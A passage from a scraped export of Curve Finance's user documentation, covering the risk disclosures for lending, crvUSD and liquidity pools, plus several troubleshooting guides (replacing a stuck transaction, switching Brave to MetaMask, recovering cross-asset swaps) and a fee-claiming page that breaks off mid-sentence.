Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Lending Table of contents Permissionless Markets Risks 1) Unvetted Tokens 2) Oracle Designation 3) Parameter Configuration 4) Governance Borrowing Risks Soft and Hard Liquidation Interest Rates Lending Risks Risk of Illiquidity Risk of Bad Debt crvUSD Risks General Financial Risks Volatility Financial Loss Use of Financial Terms Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Permissionless Markets Risks 1) Unvetted Tokens 2) Oracle Designation 3) Parameter Configuration 4) Governance Borrowing Risks Soft and Hard Liquidation Interest Rates Lending Risks Risk of Illiquidity Risk of Bad Debt crvUSD Risks General Financial Risks Volatility Financial Loss Use of Financial Terms Home Risks, Security & Audits Risks Curve Lending: Risk Disclaimer Curve Lending enables users to permissionlessly create and interact with isolated lending pairs composed of crvUSD, a decentralized stablecoin native to the Curve ecosystem, and various paired tokens. The notifications provided herein address risks associated with Curve Lending activities. The following list is not exhaustive. Users wishing to acquaint themselves with a broader range of general risk disclosures are encouraged to read the Curve Risk Disclosures for Liquidity Providers . Users are also advised to review the public audit reports to assess the security and reliability of the platform before engaging in any lending or borrowing activities. Permissionless Markets Risks Curve Lending markets are permissionless, allowing anyone to create and customize markets with unique token pairs, a price oracle, and parameters that influence the LLAMMA liquidation algorithm and interest rate model. Given the protocol's permissionless nature, users should verify that the market has been instantiated with sensible parameters. Curve provides a LLAMMA-simulator that can be referenced for finding optimal parameters. There are several factors users should consider regarding attributes of the permissionless markets: 1) Unvetted Tokens Curve Lending pairs consist of crvUSD and one other token, which may not undergo rigorous vetting due to the permissionless lending factory and lack of strict onboarding criteria. As a result, some tokens in Curve pools could be unvetted, introducing potential risks such as exchange rate volatility, smart contract vulnerabilities, and liquidity risks. Users should exercise caution and conduct their due diligence before interacting with any token on the platform. 2) Oracle Designation Curve Lending markets by default use a Curve pool as the oracle, as long as the pool pair contains both tokens in the market and the pool is a Curve tricrypto-ng, twocrypto-ng or stableswap-ng pool, which has manipulation-resistant oracles. However, this creates a dependency on the selected pool oracle, which may become unreliable due to market circumstances (e.g., liquidity migration) or technical bugs. Alternatively, market deployers may designate a custom oracle, which can introduce additional trust assumptions or technical risks, and these custom oracles may need to be thoroughly vetted due to permissionless market deployment. Users should fully understand the oracle mechanism before interacting with a Curve Lending market. 3) Parameter Configuration There are several parameters configurable by market deployers, including \"A\" (number of bands within the LLAMMA algorithm), fee on LLAMMA swaps, loan discount (Loan-To-Value), liquidation discount (Liquidation Threshold), and min/max borrow rate. Misconfigured AMM parameters may result in greater losses than necessary during liquidation and generally negatively impact user experience involving liquidation. Misconfigured borrow rates may prevent the market from adequately reflecting rates in the broader market, potentially leading to insufficient withdrawal liquidity for lenders. Users should be aware of market parameter configurations and ensure they are suitable for the underlying assets and anticipated market conditions. 4) Governance The Curve Lending admin is the Curve DAO, a decentralized organization made up of veCRV tokenholders. Votes are required to make any change to the Curve Lending system, including individual markets. Votes undergo a 1-week vote period, requiring a 51% approval and a sufficient voter quorum to execute any on-chain actions. The DAO controls critical system functions in Curve Lending, including setting system contract implementations and configuring parameters such as min/max borrow rates, borrow discounts and AMM fees. Borrowing Risks Borrowers can choose from various lending markets to borrow crvUSD against another asset or provide crvUSD as collateral. Markets are designated as one-way or two-way. In one-way markets, collateral cannot be lent out to other users. These assets serve solely as collateral to secure the loan and maintain the borrowing capacity within the protocol. Two-way markets allow collateral to be lent out, creating an opportunity for borrowers to earn interest. Soft and Hard Liquidation Curve Lending uses a \"soft\" liquidation process powered by the LLAMMA algorithm. LLAMMA is a market-making contract that manages the liquidation and de-liquidation of collateral via arbitrageurs. This mechanism facilitates arbitrage between the collateral and borrowed asset in line with changes in market price, allowing a smoother liquidation process that strives to minimize user losses. Additional information can be found in the LLAMMA Overview docs. Please consider the following risks when using the Curve Stablecoin infrastructure: If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. If the price of your collateral drops sharply over a short time interval, it can result in higher losses that may reduce your loan's health. If you are in soft-liquidation mode and the price of the collateral appreciates sharply, this can also result in de-liquidation losses. If your loan's health is low, collateral price appreciation can further reduce the loan's health, potentially triggering a hard liquidation. If the health of your loan drops to zero or below, your position will get hard-liquidated with no option of de-liquidation. Borrowers should be aware that, while in soft liquidation, they essentially pay a fee to arbitrageurs in the form of favorable pricing. This will gradually erode the health of the position, especially during times of high volatility and, importantly, even when the market price of their collateral is increasing. This activity can decrease the position's health and cause it to undergo \"hard\" liquidation, whereby the collateral is sold off and the Borrower's position is closed. Borrowers are advised to monitor market conditions and actively manage their collateral to mitigate the liquidation risk. Borrowers should also be aware that if the loan's health falls below a certain threshold, hard liquidation could occur, leading to collateral loss. Interest Rates The borrowing rate is algorithmically determined based on the utilization rate of the lending markets. It is calculated using a function that accounts for the spectrum of borrowing activity, ranging from conditions where no assets are borrowed (where the rate is set to a minimum) to conditions where all available assets are borrowed (where the rate is set to a maximum). The rates within the described monetary policy are subject to changes only by Curve DAO. More information on the interest rate model can be found in the Semi-log Monetary Policy docs. Lending Risks When participating in lending activities on Curve Lending, Users may deposit crvUSD (or other assets designated for borrowing) into non-custodial Vaults that accrue interest from borrowers. There may also be the opportunity for additional CRV incentives by staking Vault tokens in a Gauge contract, pending DAO approval. Risk of Illiquidity While these Vaults enable Users to supply liquidity and potentially earn returns, Users maintain the right to withdraw their assets at any time, so long as liquidity is available. There may be temporary or permanent states of illiquidity that prevent Lenders from fully or partially withdrawing their funds. This may result from diverse circumstances, including excessive borrow demand, a poorly configured interest rate model, a failure associated with the collateral asset, or a drastic reduction in incentives to a market. Similarly, there may be high volatility in the behavior of either lenders, borrowers, or both, which causes sharp swings in interest rates. Risk of Bad Debt In extreme scenarios, Lenders may experience a shortfall through the accumulation of bad debt. This may occur if collateral prices fall sharply, especially in combination with network congestion that inhibits timely liquidation of positions. In such cases, Borrowers may need a financial motive to repay their debt, and Lenders may race to withdraw any available liquidity, saddling the Lenders remaining in the Vault with the shortfall. Curve Lending is designed to minimize the risk of bad debt through over-collateralization and the LLAMMA liquidation algorithm. While over-collateralization and the LLAMMA algorithm act as risk mitigation tools, they do not fully insulate Lenders from the inherent risks associated with Curve Lending and assets in its markets, including smart contract vulnerabilities, market volatility, failures in economic models, and regulatory challenges that threaten product viability. Lenders are advised to understand their exposure to risks associated with the collateral asset in Vaults they choose to interact with and appreciate the possibility of experiencing partial or total loss. crvUSD Risks Users should be mindful of risks associated with exposure to the crvUSD stablecoin: Investing in crvUSD carries inherent risks that could lead to partial or complete loss of your investment due to its experimental nature. You are responsible for understanding the risks of buying, selling, and using crvUSD and its infrastructure. The value of crvUSD can fluctuate due to stablecoin market volatility or rapid changes in the liquidity of the stablecoin. crvUSD is exclusively issued by smart contracts, without an intermediary. However, the parameters that ensure the proper operation of the crvUSD infrastructure are subject to updates approved by Curve DAO. Users must stay informed about any parameter changes in the stablecoin infrastructure. crvUSD is not recognized as legal tender by any authority and is not guaranteed to be accepted for payments, subject to changing regulatory landscapes which may affect its legality and utility. Information provided by crvUSD front-end is solely for educational purposes and does not constitute any form of professional advice, leaving users solely responsible for ensuring actions meet their financial goals. Despite efforts to maintain price stability, crvUSD faces the risk of depegging due to market volatility, regulatory changes, or technological issues, potentially affecting its value. Users of crvUSD are exposed to various technological risks, including irreversible transactions, anonymity and security concerns, software dependency, cybersecurity threats, and operational and settlement risks, which can lead to potential asset loss. The continued development and functionality of the crvUSD protocol rely on developer contributions, with no guarantee of sustained involvement, posing a risk to its maintenance and scalability. General Financial Risks Volatility Users should be aware that the prices of cryptocurrencies and tokens are highly volatile and subject to dramatic fluctuations due to their speculative nature and variable acceptance as a payment method. The market value of blockchain-based assets can significantly decline, potentially resulting in losses. Transactions within blockchain systems, including Ethereum Mainnet and others, may experience variable costs and speeds, affecting asset access and usability. Users are encouraged to develop their strategies for managing volatility. Financial Loss Users should know that cryptocurrencies and tokens are highly experimental and carry significant risks. Engaging in lending and borrowing activities involves irreversible, final, and non-refundable transactions. Users must participate in these activities at their own risk, understanding that the potential for financial loss is substantial. Users are advised to carefully evaluate their lending and borrowing strategies, considering their personal circumstances and financial resources to determine the most suitable situation. Use of Financial Terms Financial terms used in the context of Curve Lending, such as \"debt,\" \"lend,\" \"borrow,\" and similar, are meant for analogy purposes only. They draw comparisons between the operations of decentralized finance smart contracts and traditional finance activities, emphasizing the automated and deterministic nature of DeFi systems. These terms should not be interpreted in their traditional financial context, as DeFi transactions involve distinct mechanisms and risks. Users are encouraged to understand the specific meanings within the DeFi framework. For up-to-date risk disclaimer, click here . Back to top", "labels": ["Documentation"]}, {"title": "Curve Pool Risk Disclosures for Liquidity Providers", "html_url": "https://resources.curve.fi/risks-security/risks/pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools Liquidity Pools Table of contents Technology Risk Smart Contract Risk: Immutability and Irreversibility of Transactions: Counterparty Risk Access Control: Asset Risk Permanent Loss of a Peg: Impermanent Loss: Price Volatility: Unvetted Tokens: Pools with Lending Assets: Regulatory Risk Regulatory Uncertainty: crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Technology Risk Smart Contract Risk: Immutability and Irreversibility of Transactions: Counterparty Risk Access Control: Asset Risk Permanent Loss of a Peg: Impermanent Loss: Price Volatility: Unvetted Tokens: Pools with Lending Assets: Regulatory Risk Regulatory Uncertainty: Home Risks, Security & Audits Risks Curve Pool Risk Disclosures for Liquidity Providers Providing liquidity on Curve doesn't come without risks. Before making a deposit, it is best to research and understand the risks involved. Curve Whitepapers Smart Contract Audits Technology Risk Smart Contract Risk: Curve relies on smart contracts, which are self-executing pieces of code. While these contracts are designed to be secure, there is a risk that they may contain vulnerabilities or bugs. Malicious actors could exploit these vulnerabilities, resulting in the loss of funds or other adverse consequences. It is essential for users to conduct due diligence and review the smart contracts and security audit reports to assess the inherent risks. Curve smart contracts have undergone multiple audits by reputable firms including Trail of Bits, MixBytes, QuantStamp, and ChainSecurity to enhance protocol security. While smart contract audits play an important role in good security practices to mitigate user risks, they don't eliminate all risks. Users should always exercise caution regardless of Curve's commitment to protocol security. Immutability and Irreversibility of Transactions: When you engage in transactions on Ethereum or EVM-compatible blockchains, it is important to understand that these transactions are immutable and irreversible. Once a transaction is confirmed and recorded on the blockchain, it cannot be modified, reversed, or deleted. This means that if a user sends funds to an incorrect address or engage in a fraudulent transaction, it may not be possible to recover the funds. It is crucial to exercise caution, verify transaction details, and use secure wallets to minimize the risk of irreversible transactions. Counterparty Risk Access Control: Curve pool smart contracts are intentionally designed to be immutable and noncustodial, meaning they cannot be upgraded and liquidity providers always retain full control of their funds. While this characteristic may limit protective actions in case of emergencies, it significantly strengthens user assurances about custody of their funds. The Curve protocol is governed by a Decentralized Autonomous Organization (DAO) comprised of veCRV tokenholders that requires a 1-week vote period with 51% approval and a sufficient voter quorum to execute any actions. It controls critical system functions, including the implementation of new system contracts and the adjustment of system parameters. The Curve Emergency Admin is a 5-of-9 multisig composed of Curve community members. It has restricted rights to undertake actions that do not directly impact users' funds, including canceling parameter changes authorized by the DAO and halting CRV emissions to a pool. Early pool implementations included a timelimited function to freeze swaps and deposits in case of emergency, but this precautionary function has since been deprecated in current pool implementations. Asset Risk Permanent Loss of a Peg: Stablecoins and other derivative assets are designed to maintain a peg to a reference asset. If one of the pool assets drops below its peg, it effectively means that liquidity providers in the pool hold almost all their liquidity in that token. The depegged token may never recover as a result of a technical failure, insolvency, or other adverse situations. If the token fails to regain its peg, liquidity providers will encounter losses proportional to the severity of the depeg. The potential permanent loss highlights the importance of thorough consideration and caution when participating in activities involving stablecoins and/or derivative assets. Impermanent Loss: Providing liquidity to Curve pools may expose users to the risk of impermanent loss. Fluctuations in asset prices after supplying to a pool can result in losses when users remove liquidity. Before engaging in liquidity provision activities, users are advised to carefully evaluate the potential for impermanent loss and consider their own risk tolerance. StableSwap pools are designed to mitigate impermanent loss by pairing assets that are expected to exhibit mean-reverting behavior. This assumption may not hold true in every case, requiring diligent assessment when interacting with these pools. CryptoSwap V2 pools are designed with an internal oracle to concentrate liquidity around the current market price. The algorithm attempts to offset the effects of impermanent loss by calculating fees generated by the pool and ensuring the pool is in profit before re-pegging. Impermanent loss may still occur in CryptoSwap V2 pools, particularly when the earned fees are insufficient to counterbalance the impact of re-pegging. This underscores the need for users to be attentive about the dynamics of these pools when making decisions about liquidity provision. Price Volatility: Cryptocurrencies and ERC20 tokens have historically exhibited significant price volatility. They can experience rapid and substantial fluctuations in value, which may occur within short periods of time. The market value of any token may rise or fall, and there is no guarantee of any specific price stability. The overall market dynamics, including price volatility, liquidity fluctuations, and broader economic factors, can impact the value of user funds when providing liquidity. Sudden market movements or unexpected events can result in losses that may be difficult to anticipate or mitigate. Unvetted Tokens: Due to the permissionless pool factory and the absence of strict onboarding criteria, not every token included in Curve pools undergoes a detailed independent risk assessment. Curve pools may contain unvetted tokens that have uncertain value or potential fraudulent characteristics. The presence of unvetted tokens introduces potential risks, including exchange rate volatility, smart contract vulnerabilities, liquidity risks, and other unforeseen circumstances that could result in the loss of funds or other adverse consequences. When participating as a liquidity provider in any pool, users should carefully assess the tokens' functionality, security audits, team credibility, community feedback, and other relevant factors to make informed decisions and mitigate potential risks associated with the pool assets. Pools with Lending Assets: Due to composability within DeFi, it is possible for assets in Curve pools to be receipt tokens for deposits in third party lending platforms. Composability of this sort can amplify yields for liquidity providers, but it also exposes users to additional risks associated with the underlying lending protocol. Users interacting with pools that involve lending assets should be mindful of this additional risk and conduct due diligence on the associated lending protocol. Regulatory Risk Regulatory Uncertainty: The regulatory landscape surrounding blockchain technology, DeFi protocols, tokens, cryptocurrencies, and related activities is constantly evolving, resulting in regulatory uncertainty. The lack of clear and consistent regulations may impact legal obligations, compliance requirements, and potential risks associated with the protocol activities. Disclaimer: The information provided within this context does not constitute financial, legal, or tax advice personalized to your specific circumstances. The content presented is for informational purposes only and should not be relied upon as a substitute for professional advice tailored to your individual needs. It is recommended that you seek the advice of qualified professionals regarding financial, legal, and tax matters before engaging in any activities on Curve. Back to top", "labels": ["Documentation"]}, {"title": "Disabling crypto wallets in brave", "html_url": "https://resources.curve.fi/troubleshooting/disabling-crypto-wallets-in-brave/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Disabling crypto wallets in brave Table of contents Pointing Brave to Metamask Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Pointing Brave to Metamask Home Support & Troubleshooting Disabling crypto wallets in brave The native \"Crypto Wallets\" app in your Brave browser can often interfere with your web3 provider. When using Metamask, it is important to make sure Brave is pointing to it and not its native implementation. Pointing Brave to Metamask Open your web browser, and paste the following in your URL bar: brave://settings/extensions Click the dropdown and switch to Metamask. You can also disable Crypto Wallets on startup. Back to top", "labels": ["Documentation"]}, {"title": "Dropping and replacing a stuck transaction", "html_url": "https://resources.curve.fi/troubleshooting/dropping-and-replacing-a-stuck-transaction/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Dropping and replacing a stuck transaction Table of contents Enable custom nonce in Metamask Finding your pending transaction nonce Replacing your transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Enable custom nonce in Metamask Finding your pending transaction nonce Replacing your transaction Home Support & Troubleshooting Dropping and replacing a stuck transaction A short tutorial on dropping and replacing a stuck Ethereum transaction. You've submitted a transaction in Metamask and it just won't come through. Those gas estimates betrayed you and you're stuck looking at your pending transaction on Etherscan. It's happened to everyone and it's not pleasant but there's a fairly simple solution which most people will come to learn about. This guide isn't Curve Finance specific but as gas prices are reaching new highs, stuck transactions are getting more common and knowing how to drop and replace is thus become more and more useful. First and foremost, it's important to understand you can only do this if your transaction is pending. If it isn't your transaction cannot be cancelled anymore. If you want to understand how this works, you should know that Ethereum transactions must be submitted with an incremental nonce. Each transaction has a nonce (a number) assigned to it and a number cannot be skipped. The way to replace and drop is to submit a new transaction with a higher gas price and the same nonce. This will tell the miners this more expensive transaction is the one that should be mined and your stuck transaction will be discarded. Enable custom nonce in Metamask Visit Metamask and select \"Settings\", then \"Advanced\" and scroll down to find and enable \"Customize transaction nonce\". Finding your pending transaction nonce Visit your address on Etherscan and click on your pending transaction. If you scroll down you will find \"Nonce\": Write down this nonce and return to Metamask. Replacing your transaction Now that you have your nonce, go back to Ethereum and send yourself 0 Ethereum, on the confirmation screen, type the nonce you got from Etherscan. Make sure your gas price is suitable this time by checking https://ethgasstation.info/ for example. Confirm your transaction and that's it. Your 0 Ethereum transaction should be mined which will drop and replace your stuck transaction which you can confirm on Etherscan. Back to top", "labels": ["Documentation"]}, {"title": "Recovering cross-asset swaps", "html_url": "https://resources.curve.fi/troubleshooting/recovering-a-cross-asset-swap/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Recovering cross-asset swaps Table of contents Finding the token id Initiate recovery Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Finding the token id Initiate recovery Home Support & Troubleshooting Recovering cross-asset swaps This is a very old guide This feature was deprecated more than 12 months ago and this information is provided solely in the rare event someone still needs to recover a swap cross asset from from the synthetix era. If Curve has lost transaction of your cross asset swap, do not panic, there is a simple way to recover it. Finding the token id Visit your address on Etherscan and click on ERC721: And then click on your latest cross-asset swap, you should find a long string of numbers like below: Initiate recovery Visit: https://classic.curve.fi/recover Enter your token id found on Etherscan, enter your the token you would like to receive (if your token has sBTC then it must be a Bitcoin token that shares a pool with sBTC, if your token is sUSD, it should be a token that shares a pool with sUSD) and then click recover. Confirm your transaction and you're done. Back to top", "labels": ["Documentation"]}, {"title": "Support", "html_url": "https://resources.curve.fi/troubleshooting/support/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Support & Troubleshooting Support Curve is to be used entirely at your own risk. Admins have no special keys and cannot recover funds if sent improperly. However, a wide variety of resources are still available to help you avoid issues. If you have questions, please make sure to check with the following sources: This section contains common troubleshooting questions, as does the entirety of this documentation. The technical documentation is a comprehensive resource for coders. The Telegram channel is an active place to seek support. The Discord also has an active support channel. Most users use Curve without issue, however we understand it can be complicated so make sure to ask first and save yourself any possible trouble later! Back to top", "labels": ["Documentation"]}, {"title": "Claiming Trading Fees", "html_url": "https://resources.curve.fi/vecrv/claiming-trading-fees/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Claiming Trading Fees Table of contents New UI Classic UI Swapping 3CRV for a Stable Coin How does it all work? Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents New UI Classic UI Swapping 3CRV for a Stable Coin How does it all work? Home Locked CRV (veCRV) Claiming Trading Fees Every time a trade occurs on Curve Finance, 50% of the trading fee is collected by users who have vote-locked their CRV . Furthermore, since the introduction of Curve's stablecoin, crvUSD, all accumulated interest rate fees are awarded to veCRV holders. As of 20 th June, 2024, fees are now distributed in crvUSD instead of 3CRV pool tokens. Fees are collected weekly from the pools, converted to crvUSD, and then distributed. See the \"How does it all work?\" section for how this process works. Users who lock CRV can claim trading fees as often as they wish; however, fees will only be converted into crvUSD once a week. Info There is a delay before the first claim of crvUSD can be made after locking. A wait of 8 days from the Thursday following the lock is required before a claim can be done. New UI To claim trading fees, visit https://curve.fi/#/ethereum/dashboard and click the Claim LP Rewards button. Info 3CRV and crvUSD are both shown on this UI as some users may not have claimed their 3CRV fees yet. Classic UI Warning The classic UI has not been updated to claim crvUSD fees. when using the classic UI please visit: https://classic.curve.fi/ and look for the 